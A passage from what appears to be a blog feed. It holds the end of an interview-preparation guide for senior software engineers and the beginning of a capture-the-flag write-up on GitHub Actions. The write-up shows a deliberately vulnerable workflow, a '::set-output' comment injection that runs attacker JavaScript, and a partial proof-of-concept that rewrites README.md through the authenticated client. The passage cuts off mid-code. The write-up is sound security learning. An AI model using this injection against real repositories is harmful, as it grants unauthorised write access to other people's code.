&lt;p&gt;I also recommend thinking about why the particular role or company is a good fit based on your previous experience. This may not be asked in much detail at this stage, but it will be a good weapon in your arsenal for the next stages. Remember that as you go into more senior roles, the job is less about your ability to code and finish tickets, and more about the big picture/higher level stuff: systems design, collaboration with other people, making decisions. For example, maybe you don't have experience across the whole of the company's stack, but you have lead projects and mentored engineers in your previous couple of jobs - this is a good thing to talk about when introducing yourself.&lt;/p&gt;

&lt;p&gt;Finally, what can the company offer to you? This one goes both ways. They will almost certainly ask about the kind of compensation you are looking for. I recommend asking for their salary range and deciding whether or not that is within your desired salary. Do not give them your current salary and  do not give a specific number that you're looking for. Just ask for the range and tell them if that range is appropriate for you. The other part of this question, is actually the questions you ask the company. Write down some questions in advance and ask them when they allow you to (typically towards the end of the interview). These questions should help you decide whether the company would be a good fit and offer what you need - career progression, learning opportunities, company growth/funding stage are all very good questions to ask here.&lt;/p&gt;

&lt;h3&gt;
  
  
  The elevator pitch
&lt;/h3&gt;

&lt;p&gt;Definitely prepare an "elevator pitch" for yourself before going into the intro call; I can guarantee the first question you are going to be asked at every stage is "tell me about yourself". This is a 60 second question and the beauty of it is that you can recycle it for every stage and sometimes even for different companies. I usually structure mine like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is my current job title?&lt;/li&gt;
&lt;li&gt;What kind of responsibilities have I had at my job?&lt;/li&gt;
&lt;li&gt;What am I looking for in my next role?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This gives the interviewer a good picture of who you are and why you've applied to this job. Bringing it all together, here's mine:&lt;/p&gt;

&lt;p&gt;My name is Erry. I am currently a Senior Software Engineer at &lt;a href="https://en.wikipedia.org/wiki/Monsters,_Inc." rel="noopener noreferrer"&gt;Monsters, Inc&lt;/a&gt;. As part of my role, I'm leading the identity services team and in particular the Single Sign On project. In my next role, I am looking for a job that will allow me to grow into a Staff Software Engineer or Architect position.&lt;/p&gt;

&lt;p&gt;Short, concise, and gets the point across. You really don't have to overthink this one, but you do have to be prepared for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coding test
&lt;/h2&gt;

&lt;p&gt;Congratulations, you've officially got your spot in the pipeline! Now it's all about proving that you can do the job.&lt;br&gt;
The coding test is the hardest to talk about, because every company does it their own way. Some companies do a pair programming exercise, some companies give you a timed task to complete, and some others give you a prompt with a task to return to them. &lt;/p&gt;

&lt;p&gt;You may or may not know what the exact exercise will be before that time, so it's hard to know exactly what to prepare.&lt;/p&gt;

&lt;p&gt;I recommend using the previous stage(s) of the interview to really understand the company and some of the problems they may have, and try to get an idea of the kind of problem they may face day-to-day. However, the problem in the coding test may not necessarily be connected to the company's actual problems.&lt;/p&gt;

&lt;p&gt;I'm not going to go into leetcode or CS algorithm questions because I've not done a CS degree (my degree was called "web development" and had a lot of practical PHP/Javascript projects rather than traditional CS theory) and I don't use these algorithms for my job. If the company you're applying to wants you to solve a CS algorithm problem, then all you can do is study and practice (and ask yourself whether you want to be engaging with companies that have such hiring questions to begin with).&lt;/p&gt;

&lt;p&gt;However, most coding tests I've taken have been more practical day-to-day problems that can be solved without memorising algorithms or theory. In that case, this is what you should focus on your test, whether it's a live test or a test you're doing at home:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Are you following best practices for your job?&lt;/li&gt;
&lt;li&gt;Are there things you would be doing if you had more time (for example better/more tests)?&lt;/li&gt;
&lt;li&gt;What is the performance of your code like? This can be things like "big O notation" but recognising things like how long database queries take&lt;/li&gt;
&lt;li&gt;How would you "scale up" your code? Could it handle 100k users? 1 million users?&lt;/li&gt;
&lt;li&gt;How do you interact with the team if you're doing a pair programming exercise? Are you asking them questions? Are you using them as a resource?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Architecture test
&lt;/h2&gt;

&lt;p&gt;This is similar to the coding test in that you don't know what you're getting until you get there. Usually this is done live, with a person at the other end giving you the prompt and being there to chat you through the idea. In the good old days of in-office interviews, this would probably be done on a whiteboard.&lt;/p&gt;

&lt;p&gt;My one recommendation here is: study and practice.&lt;br&gt;
Here are things to focus on while preparing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go back to the questions you hopefully asked in the previous stages about the company. What kind of problems could they be facing? If you can use their product (app/website) this is a great time to use that to your advantage: pick some of the problems they are solving with their product and think about how you would design those features. Even if their product is not public facing, it's worth asking if you can get an account to try the product out - sometimes interviewers can arrange for that, and it gives you bonus gold stars for caring about the product!&lt;/li&gt;
&lt;li&gt;Don't just talk about how you're solving the problem, but also &lt;strong&gt;&lt;em&gt;why&lt;/em&gt;&lt;/strong&gt; you're solving it that way. Expect every decision you take to be put under the microscope and have to be justified. Sometimes there is no right or wrong answer, and you just have to be able to explain why you took your decisions.&lt;/li&gt;
&lt;li&gt;Ask your interviewer if there are any limitations or functional requirements for your architecture. Sometimes you have pretty much free rein in your design, and sometimes they will tell you that you have to function within the AWS ecosystem and use a particular database system, for example.&lt;/li&gt;
&lt;li&gt;Communicate things that you would normally do if you had more than one hour to do your design. For example: "this is when I would normally do cost analysis".&lt;/li&gt;
&lt;li&gt;Be ready to go for the simplest solution first, but always keep the question of "how would I improve this" at the back of your mind, because that question will almost certainly be asked.&lt;/li&gt;
&lt;li&gt;Think about the performance and security factors of everything you are designing. Even if you don't work with a very highly scalable system, this is a good time to read up on design principles such as domain driven design, CQRS, and distributed/event driven systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My honest view here is that you are most likely going to fail the first few architecture interviews you do. Keep a note for what they ask for, and think about how you can prepare in the future. Maybe spend some time designing diagrams as practice for your next interviews. Think about your current job and how you would re-design the architecture of a particular feature if you were starting over. Keep a list of all the things you could not answer, and don't be afraid to ask for their feedback after the interview. All of this will help you get to a point where you can ace these kind of interviews.&lt;/p&gt;

&lt;h2&gt;
  
  
  Situational (STAR) interview
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The format
&lt;/h3&gt;

&lt;p&gt;Welcome to what is, in my opinion, the hardest part of the interview. Sometimes this is the first step, other times it's the last.&lt;/p&gt;

&lt;p&gt;While it may be possible to pass the architecture interview without much prep if you've been doing the job for a long time, this interview absolutely needs preparation up ahead. And much like the architectural interview, you're very unlikely to get this format right from the get-go. It took me several interviews before I was comfortable answering these kind of situational questions without panicking and sweating. It took me even longer before I found it easy and I did a decent or even great job at them.&lt;/p&gt;

&lt;p&gt;If you don't know what I mean by Situational questions, those are the kind of questions that can be boiled down to "tell me about a situation when...". Sometimes the interviewers are more subtle about it, but luckily I have found that they are usually pretty straight forward. They will likely tell you in advance that it's going to be a situational interview, and they are not necessarily going to try to ask you trick questions or trip you up. &lt;/p&gt;

&lt;p&gt;The trick for those kind of questions is to use the STAR framework. The interviewers may tell you this themselves if they're super nice, but in case they don't, it's good to keep this in mind. STAR stands for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Situation&lt;/li&gt;
&lt;li&gt;Task&lt;/li&gt;
&lt;li&gt;Action&lt;/li&gt;
&lt;li&gt;Result&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I found &lt;a href="https://resume.io/blog/star-method" rel="noopener noreferrer"&gt;this blog post&lt;/a&gt; was a great resource on how to answer these questions, but I will try to explain it here as well.&lt;/p&gt;

&lt;p&gt;Each question will take you between 3-5 minutes to answer. You essentially have to scan through many years of experience and find the right example for the question and then condense it down to a format that can be answered in a few minutes.&lt;/p&gt;

&lt;p&gt;If this sounds extremely difficult, it's because it is, and that's why you should have 2-3 scenarios that you have prepared in advance and can go back to during the interview. You're never going to be able to prepare for every question that they ask, but the more you do these interviews, the more you will find patterns to the questions and you will be able to adjust what you have already prepared in advance to better fit the specific questions you're being asked.&lt;/p&gt;

&lt;p&gt;I eventually tackled this by thinking back to my previous 2 roles, and thinking about 2 or 3 projects that I led: what was required, what went well, what went wrong, and what I would change. Then, I wrote down some scenarios in the STAR (or STARL, the L standing for Learning) format.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example question
&lt;/h3&gt;

&lt;p&gt;Question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tell me about a time that you disagreed with a colleague/a superior&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Situation
&lt;/h4&gt;

&lt;p&gt;Here you have to give the context and background of why you were doing the particular piece of work. This can be pretty short, one or two sentences.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We had to resolve some vulnerabilities from a pen test. We had very little time to resolve those as the pen test certification was preventing us from signing a new client. In particular, we were storing tokens in local storage, which meant that if any XSS vulnerability was present, the tokens could be stolen by an attacker.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Task
&lt;/h4&gt;

&lt;p&gt;The question to answer here is "what was your role within the project?" Again this can be pretty concise.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;My team lead at the time was accountable for the platform security and I was tasked with implementing their suggestions in the best way possible within the time frame as well as breaking down tasks for other team members.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Action
&lt;/h4&gt;

&lt;p&gt;This is the meat and potatoes of your answer. This is where you are giving your answer to the main question. In this case, where was the disagreement, and how did you handle it?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;My team lead proposed replacing tokens that were stored in localstorage to tokens stored in cookies. Doing POST requests with cookies would make us vulnerable to CSRF, however, so they also proposed implementing CSRF protection to prevent that.&lt;br&gt;
I instead proposed a solution where we would not be using cookies for POST requests and instead get a token from a GET request + cookie at page load, then store it in memory.&lt;br&gt;
After talking to my lead and getting their understanding and their concerns about this, I wrote down different scenarios and explained why this solution was just as secure, and also saved us time compared to their solution which required implementing CSRF protection. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Result
&lt;/h4&gt;

&lt;p&gt;This is where you show off the &lt;strong&gt;&lt;em&gt;impact&lt;/em&gt;&lt;/strong&gt; of your decision!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The team lead agreed to use my solution. Because of this, we finished the project 7 days quicker than the original solution, we implemented something that was less technically complex, and still passed the pen test.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Learning
&lt;/h4&gt;

&lt;p&gt;What went wrong? What have you learned? What would you have done differently?&lt;/p&gt;

&lt;p&gt;Not every project is a success, and even those that are, are not done perfectly. Your interviewer will ask you this question, so be prepared for it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In my case, I should have pushed back more on the particular project. It was a lot of work that was required of us in a short amount of time and it lead to the team working harder than was healthy for us. I have learned from this and now follow a much leaner approach - I have learned to say "no", push back, and negotiate for an MVP rather than trying to make the impossible happen.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Learn the format
&lt;/h3&gt;

&lt;p&gt;That's it! That's the whole format. Now, as I said earlier, I recommend writing down at least 2 or 3 examples of different projects in this format. Then, record yourself answering the question! It sounds weird, but I think that doing this was what eventually helped me to stop panicking about these questions. By playing back a recording, you can see how long you are taking to answer and can learn to pace yourself. You can also get a better idea of where there may be gaps in your explanation. By doing this, I saw that I wasn't taking as long as I thought, and this gave me the breathing room to stop and think about the question for a few seconds before I answered it, which was also gave me a huge advantage in the interview.&lt;/p&gt;

&lt;p&gt;Here are some more example questions that I've been asked:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tell me about a project you're really proud of&lt;/li&gt;
&lt;li&gt;Tell me about a time that you had to deliver a project within a deadline&lt;/li&gt;
&lt;li&gt;Tell me about a time that you had to make a compromise&lt;/li&gt;
&lt;li&gt;How do you deal with disagreements?&lt;/li&gt;
&lt;li&gt;How do you get buy-in?&lt;/li&gt;
&lt;li&gt;Tell me about a project where you had impact&lt;/li&gt;
&lt;li&gt;What's a mistake you have made in a project?&lt;/li&gt;
&lt;li&gt;What have you learned from cross-team work?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And my favourite one:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What's the biggest technical problem your team faces at the moment?&lt;br&gt;
... And why haven't you addressed it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These questions can be scary, but just be yourself and remember that they are not looking for people who have done very impressive things or people who have done things perfectly. Rather, they are looking for people who know how to have an impact within their team, and for people who can recognise their own mistakes and talk about what they will do differently next time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Values interview
&lt;/h2&gt;

&lt;p&gt;Congratulations, take a deep breath of relief. You're past the hardest part of the process, and now you just have to be yourself and show why you're such a great person to work with!&lt;/p&gt;

&lt;p&gt;Look up the company and what they value, and see why you relate to it. I recommend being honest, because if you hate everything about what the company does, then you probably don't want to work there. This is where you just show them the person behind the CV. Be authentic, and remember what excites you about the role. Sure, more money is good, but there are plenty of companies that can offer that - so why this &lt;strong&gt;particular&lt;/strong&gt; company? Is it the more flexible environment? What about the people you interviewed with? What did you like about them? What are the cool problems that you're really excited to solve?&lt;/p&gt;

&lt;p&gt;Be ready to talk to those things, and the job is almost yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  The offer
&lt;/h2&gt;

&lt;p&gt;If you've done well in every part of the process, then congratulations, you probably have a job offer!&lt;br&gt;
If the recruiter asks to talk to you on the phone after your final stage, then prepare yourself to be offered a job.&lt;/p&gt;

&lt;p&gt;However, the process is not over yet! Have you got other interviews that you are close to finishing? Then feel free to ask for more time before you decide. If you have an offer, you can also use that as leverage to speed up your other processes.&lt;/p&gt;

&lt;p&gt;Can you negotiate the offer? You can always ask for a higher salary at offer time. I'm not the best to talk about salary negotiations, but I will defer you to &lt;a href="https://www.askamanager.org/2019/03/how-to-negotiate-salary-after-a-job-offer.html" rel="noopener noreferrer"&gt;this blog post&lt;/a&gt;. &lt;strong&gt;Always&lt;/strong&gt; negotiate. Get ready for them to say no, but don't leave money on the table.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;Wow, that was a lot to write. I hope that this helped someone - the process is quite lengthy and in parts needs special preparation, so I'm hoping to provide the kind of resource I wished I could have while doing my interviews.&lt;/p&gt;

&lt;p&gt;Let me know if you have any questions, always happy to answer from my experience. And remember, ask for what you deserve! &lt;/p&gt;

</description>
      <category>interview</category>
      <category>programming</category>
      <category>career</category>
      <category>jobs</category>
    </item>
    <item>
      <title>How I solved github’s actions capture the flag challenge</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Thu, 01 Apr 2021 16:54:40 +0000</pubDate>
      <link>https://dev.to/errietta/how-i-solved-github-s-actions-capture-the-flag-challenge-3a9l</link>
      <guid>https://dev.to/errietta/how-i-solved-github-s-actions-capture-the-flag-challenge-3a9l</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;First of all, I’m aware it’s April 1st, I was thinking of some joke post but then I remembered that I have an actual serious post I’d like to write, so this is not any kind of joke.&lt;/p&gt;

&lt;h2&gt;
  
  
  The challenge &amp;amp; repo
&lt;/h2&gt;

&lt;p&gt;A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository.&lt;/p&gt;

&lt;p&gt;The repository had only one file, a github actions workflow &lt;code&gt;.github/workflows/comment-logger.yml&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;log and process issue comments&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;issue_comment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;created&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;issue_comment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;log issue comment&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;comment_log&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;log issue comment&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/github-script@v3&lt;/span&gt;
        &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;COMMENT_BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.body }}&lt;/span&gt;
          &lt;span class="na"&gt;COMMENT_ID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.id }}&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;github-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deadc0de"&lt;/span&gt;
          &lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
            &lt;span class="s"&gt;console.log(process.env.COMMENT_BODY)&lt;/span&gt;
            &lt;span class="s"&gt;return process.env.COMMENT_ID&lt;/span&gt;
          &lt;span class="na"&gt;result-encoding&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;string&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;comment_process&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;process comment&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/github-script@v3&lt;/span&gt;
        &lt;span class="na"&gt;timeout-minutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
        &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ steps.comment_log.outputs.COMMENT_ID }}&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
            &lt;span class="s"&gt;const id = ${{ steps.comment_log.outputs.COMMENT_ID }}&lt;/span&gt;
            &lt;span class="s"&gt;return ""&lt;/span&gt;
          &lt;span class="na"&gt;result-encoding&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;string&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So how could that github action be taken advantage of to gain repository write access?&lt;/p&gt;

&lt;h2&gt;
  
  
  Reading up
&lt;/h2&gt;

&lt;p&gt;Github had provided some useful reading material and the first thing I stumbled across was the &lt;a href="https://securitylab.github.com/research/github-actions-untrusted-input" rel="noopener noreferrer"&gt;untrusted input documentation&lt;/a&gt;. When using user input in an action, it’s important to not evaluate the value as code. &lt;/p&gt;

&lt;p&gt;I quickly realised that this was being done here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;COMMENT_BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.body }}&lt;/span&gt;
&lt;span class="na"&gt;COMMENT_ID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.id }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And here: &lt;code&gt;${{ steps.comment_log.outputs.COMMENT_ID }}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;How could I abuse that?&lt;/p&gt;

&lt;h2&gt;
  
  
  Arbitrary code execution
&lt;/h2&gt;

&lt;p&gt;This line of code was particularly interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;comment_log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outputs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;COMMENT_ID&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Surely if I could set the &lt;code&gt;COMMENT_ID&lt;/code&gt; value to some javascript code, that would be executed in the script.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;COMMENT_ID&lt;/code&gt; output was not being set, but the previous script was using the comment body to log to the console:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;COMMENT_BODY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Could this be used to set &lt;code&gt;COMMENT_ID&lt;/code&gt;?&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting output
&lt;/h3&gt;

&lt;p&gt;It turns out that you can set output by printing a special string to stdout. If I could print &lt;code&gt;::set-output name=OUTPUT_NAME::VALUE&lt;/code&gt; then that would set &lt;code&gt;OUTPUT_NAME&lt;/code&gt; to &lt;code&gt;VALUE&lt;/code&gt;. Furthermore, because the &lt;code&gt;COMMENT_BODY&lt;/code&gt; variable was being set by a user’s arbitrary comment on an issue, I could essentially create a comment with that particular string, and force the output to be set.&lt;br&gt;
I set to work creating an issue and trying to comment on it. The very first thing I tried was &lt;code&gt;::set-output name=COMMENT_ID::;&lt;/code&gt;. That caused a syntax error to happen! This meant that the &lt;code&gt;COMMENT_ID&lt;/code&gt; output was indeed being set and executed in that &lt;code&gt;const id = ...&lt;/code&gt; line.&lt;/p&gt;
&lt;h3&gt;
  
  
  Taking advantage of the vulnerability
&lt;/h3&gt;

&lt;p&gt;Since I could execute arbitrary javascript code, could I use that to gain write access to the repo? Well it turns out there was a great attack vector in that github action :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/github-script@v3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The github-script action gives access to an authenticated github client, available at the github variable! This meant that I essentially had access to a github client with write access to the repo! All that was left was figuring out the correct API calls to abuse it.&lt;/p&gt;

&lt;p&gt;It took a while, but I eventually wrote a proof of concept that modified README.md in the repository (which was the goal of the CTF):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;github&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContent&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;incrediblysecureinc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;README.md&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;incredibly-secure-errietta&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;refs/heads/main&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;github&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createOrUpdateFileContents&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;incrediblysecureinc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;incredibly-secure-errietta&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;README.md&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;editing&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SSBkaWQgaXQ=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// base64 for "I did it"&lt;/span&gt;
    &lt;span class="na"&gt;branch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;main&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
